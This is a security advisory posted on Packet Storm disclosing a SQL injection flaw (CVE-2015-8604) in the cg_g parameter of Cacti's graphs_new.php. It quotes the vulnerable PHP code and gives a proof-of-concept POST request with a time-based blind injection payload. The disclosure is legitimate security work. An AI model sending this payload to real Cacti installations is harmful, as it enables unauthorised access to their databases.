what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cacti 0.8.8f graphs_new.php SQL Injection

Cacti 0.8.8f graphs_new.php SQL Injection
Posted Jan 9, 2016
Authored by changzhao.mao

Cacti versions 0.8.8f and below suffer from a remote SQL injection vulnerability in graphs_new.php.

tags | exploit, remote, php, sql injection
advisories | CVE-2015-8604
SHA-256 | a78b6681709c8cc20f7d107b4b963d37f859192b55999eb8a655eb58c5f6c5c4

Cacti 0.8.8f graphs_new.php SQL Injection

Change Mirror Download
Application: Cacti 
Vendor URL: http://www.cacti.net
Bugs: SQL injection
Author:changzhao.mao(DBAPPSecurity Ltd)
Version affected: 0.8.8f and prior
================================
Introduction
================================
Cacti is a complete frontend to RRDTool, it stores all of the necessary information to create graphs and populate them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, Data Sources, and Round Robin Archives in a database, cacti handles the data gathering. There is also SNMP support for those used to creating traffic graphs with MRTG. SQL injection vulnerabilities has been discovered.The vulnerability allows any users to execute own sql commands to compromise the web-applicaation or database management system. SQL injection Vulnerability has been discovered in Cacti(0.8.8f) and prior , which can be exploited by any user to conduct SQL Injection attacks.A patch has been released http://bugs.cacti.net/file_download.php?file_id=1201&type=bug .
================================
[Vulnerability info]
================================

in graphs_new.php , trace parameter cg_g

function form_save() {
if (isset($_POST["save_component_graph"])) {
/* summarize the 'create graph from host template/snmp index' stuff into an array */
while (list($var, $val) = each($_POST)) {
if (preg_match('/^cg_(\d+)$/', $var, $matches)) {
$selected_graphs["cg"]{$matches[1]}{$matches[1]} = true;

//cg_g is not filtered

}elseif (preg_match('/^cg_g$/', $var)) {
if ($_POST["cg_g"] > 0) {
$selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true;
}
}elseif (preg_match('/^sg_(\d+)_([a-f0-9]{32})$/', $var, $matches)) {
$selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true;
}
}

if (isset($selected_graphs)) {
host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);
exit;
}

header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
}

if (isset($_POST["save_component_new_graphs"])) {
host_new_graphs_save();

header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
}
}


function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {
/* we use object buffering on this page to allow redirection to another page if no
fields are actually drawn */
ob_start();

include_once("./include/top_header.php");

print "<form method='post' action='graphs_new.php'>\n";

$snmp_query_id = 0;
$num_output_fields = array();

while (list($form_type, $form_array) = each($selected_graphs_array)) {
while (list($form_id1, $form_array2) = each($form_array)) {
if ($form_type == "cg") {
$graph_template_id = $form_id1;
//sql injection in graph_template_id
html_start_box("<strong>Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");
}elseif ($form_type == "sg") {
while (list($form_id2, $form_array3) = each($form_array2)) {
/* ================= input validation ================= */
input_validate_input_number($snmp_query_id);
/* ==================================================== */

$snmp_query_id = $form_id1;
$snmp_query_graph_id = $form_id2;


================================
[Exploit]
================================
POC:

POST /cacti/graphs_new.php HTTP/1.1
Host: 192.168.217.133
Content-Type: application/x-www-form-urlencoded
Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2
Content-Length: 189
__csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save




Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close